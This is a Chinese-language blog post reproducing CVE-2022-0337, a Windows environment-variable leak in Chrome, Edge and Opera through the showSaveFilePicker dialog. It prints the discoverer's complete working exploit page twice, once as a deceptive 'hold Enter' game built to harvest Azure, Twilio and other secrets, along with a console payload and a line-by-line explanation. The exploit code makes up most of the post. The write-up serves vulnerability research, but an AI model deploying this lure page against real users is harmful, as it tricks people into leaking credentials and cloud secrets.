有意思的CVE-2022-0337复现
前言
前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美刀,比较好奇的是价值10000美刀的漏洞是什么样子的,漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。
影响版本
Google Chrome版本范围92.x-96.x
Microsoft Edge版本范围92.x-96.x
Opera版本范围78.x-81.x
复现
在存在漏洞的浏览器F12的控制台输入payload
let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;
但是必须要访问一个存在的html,百度首页测试

保存后控制台输出环境变量username的值

漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!

EXP
<html>
<head>
<title>
CVE-2022-0337 System environment variables leak on Google Chrome,
Microsoft Edge and Opera
</title>
<meta charset="UTF-8" />
</head>
<style>
body {
background: rgba(212,0,0,0.2);
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
}
h1,
h2,
h3 {
-webkit-text-stroke: 1px #00000050;
}
h1 {
color: #d96c06;
font-size: 36px;
}
h2 {
color: #1ebe8e;
font-size: 46px;
}
h3 {
color: #c6f91f;
font-size: 18px;
}
h2 span {
color: #cf4848;
font-size: 70px;
}
#author {
font-size: 28px;
}
span {
font-weight: 100;
}
</style>
<body>
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
<!-- div used to click to open Save As dialog -->
<div id="pixel"></div>
<h3 id="userInfo"></h3>
<h1>Super Simple Game<span>******</span></h1>
<h2><span>**HOLD ENTER</span> for 2 seconds</h2>
<h3 id="gameover"></h3>
</body>
</html>
这里选择版本
92.0.4515.159(正式版本)


刷新页面后长按Enter键两秒即可触发payload

分析
分一下payload前面的49行之前内容是定义了html的样式,核心内容在
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义

在63和64行定义了长按Enter键相当于触发script标签

随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f

suggestedName格式为定义的%{x}%@filename即
suggestedName=%{x}%@随机数.f

继续向下看

上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。

所以最终在执行payload的时候保存的文件名为
%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f
那么接下来需要思考两个问题
泄露的漏洞触发的原理又在哪里
能做什么呢?
1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。
2.因为windows中能够利用环境变量有很多,例如
AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY
结语
大佬毕竟是大佬呀!!!
更多靶场实验练习、网安学习资料,请点击这里>>
有意思的CVE-2022-0337复现的更多相关文章
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- CVE 2019-0708漏洞复现防御修复
CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...
- CVE 2019-0708 漏洞复现+
PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...
- 警惕!Python 中少为人知的 10 个安全陷阱!
作者:Dennis Brinkrolf 译者:豌豆花下猫@Python猫 原题:10 Unknown Security Pitfalls for Python 英文:https://blog.sona ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- VNCTF 2022 cm cm1 RE复现
cm1 安卓逆向 JEB 直接跟进主函数找到 ASSERT里面拿到ooo文件 直接脚本解密 k = "vn2022" with open('ooo', 'rb') as f: c ...
- Node.js CVE-2017-1484复现(详细步骤)
0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...
- Node.js CVE-2017-14849复现(详细步骤)
0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
随机推荐
- C++ cout 数字之间进制的转换
转换一个数变成8进制,则为 cout << oct << x << endl; 转换一个数变为16进制,为 cout << hex << x ...
- Makefile学习(一)
objects = main.o kbd.o command.o display.o \ insert.o search.o files.o utils.o ...
- 前端工程化 Webpack基础
前端工程化 模块化 (js模块化,css模块化,其他资源模块化) 组件化 (复用现有的UI结构.样式.行为) 规范化 (目录结构的划分.编码规范化.接口规范化.文档规范化.Git分支管理) 自动化 ( ...
- 解决Idea.exe无法启动问题(idea2017.3版本)
问题: 最近在用idea时,突然弹出了以下消息框(图片不是我的): 将Xmx的值调大以后,idea还是闪退了.并且再点击idea.exe时,idea已经木有反映了,无法启动. 解决方案: 方案一(失败 ...
- Java 中怎么创建 ByteBuffer?
byte[] bytes = new byte[10]; ByteBuffer buf = ByteBuffer.wrap(bytes);
- Spring Cloud 解决了哪些问题?
在使用 Spring Boot 开发分布式微服务时,我们面临的问题很少由 Spring Cloud解决.与分布式系统相关的复杂性 – 包括网络问题,延迟开销,带宽问题,安 全问题.处理服务发现的能力 ...
- centos 7环境下安装rabbitmq
以 前在windows 7下面成功安装过rabbitmq,但是在windows 10下面安装失败,各种问题,各种解决方法都试过,还是不成功,最终放弃治疗. 后来经人指点,在linux下安装rabbit ...
- 为什么HTTP/3要基于UDP?可靠吗?
目录 前言 为什么转用UDP? HTTP/3解决了那些问题? 队头阻塞问题 QPACK编码 Header 参考 推荐阅读: 计算机网络汇总 HTTP/3竟然是基于UDP的!开始我也很疑惑,UDP传输不 ...
- 002.MEMS应用在开关电源上,实现大功率超小型化
设计任务书 1.有关MEMS还有待具体了解 2.有关开关电源的目前难题也需要了解
- EDM响应式邮件框架:MJML
概述 新课题研究:响应式邮件框架MJML(MJML官网:https://mjml.io/)姐妹篇: EDM响应式邮件框架:Formerly Ink 介绍 MJML是一种标记语言,设计用于轻松实现一个响 ...